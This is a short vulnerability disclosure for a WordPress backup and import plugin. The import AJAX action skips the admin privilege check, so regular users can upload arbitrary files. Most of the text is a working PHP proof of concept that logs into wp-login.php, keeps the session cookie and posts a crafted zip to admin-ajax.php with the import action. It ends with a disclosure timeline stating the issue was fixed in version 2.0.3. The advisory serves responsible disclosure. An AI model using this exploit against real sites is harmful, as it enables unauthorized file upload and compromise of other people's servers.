In Ai1wm_Import_Controller::import admin priveleges ARE NOT checked.
Function is imported as action: add_action(‘wp_ajax_import’, ‘Ai1wm_Import_Controller::import’) in class-ai1wm-main-controller.php
It’s possible to use it through wp-admin/admin-ajax.php as regular user.
Using this functionality, we can send any kind of files to remote server.
Proof of Concept:
function hack($login, $pass, $url, $cookie ){
$ckfile = dirname(__FILE__) . $cookie;
$cookie = fopen($ckfile, 'w') or die("Cannot create cookie file");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url.'wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_REFERER, $url.'wp-login.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, "log=".$login."&pwd=".$pass."&wp-submit=Log%20In");
curl_setopt($ch, CURLOPT_POST, 1);
$content = curl_exec($ch);
if (preg_match('/adminmenu/i', $content)) {
echo 'We are log in.<br />';
curl_setopt($ch, CURLOPT_URL, $url.'wp-admin/admin-ajax.php');
curl_setopt($ch,
CURLOPT_POSTFIELDS,
array(
'upload-file' => '@' . realpath('poc.zip'),
'action' => 'import',
'force' => '1',
'name' => 'poc'
));
$content = curl_exec($ch);
if (preg_match('/successfuly/i', $content)) {
echo 'Success';
} else {
echo 'Cannot exploit site';
}
} else {
echo "Cannot login to wordpress";
}
curl_close( $ch );
}
$user = "test";
$pass = "test";
$cookie = "/cookie.txt";
hack($user, $pass, $url, $cookie);
Timeline:
13-10-2014: Discovered
14-10-2014: Vendor notified
15-10-2014: Version 2.0.3 released, issue resolved
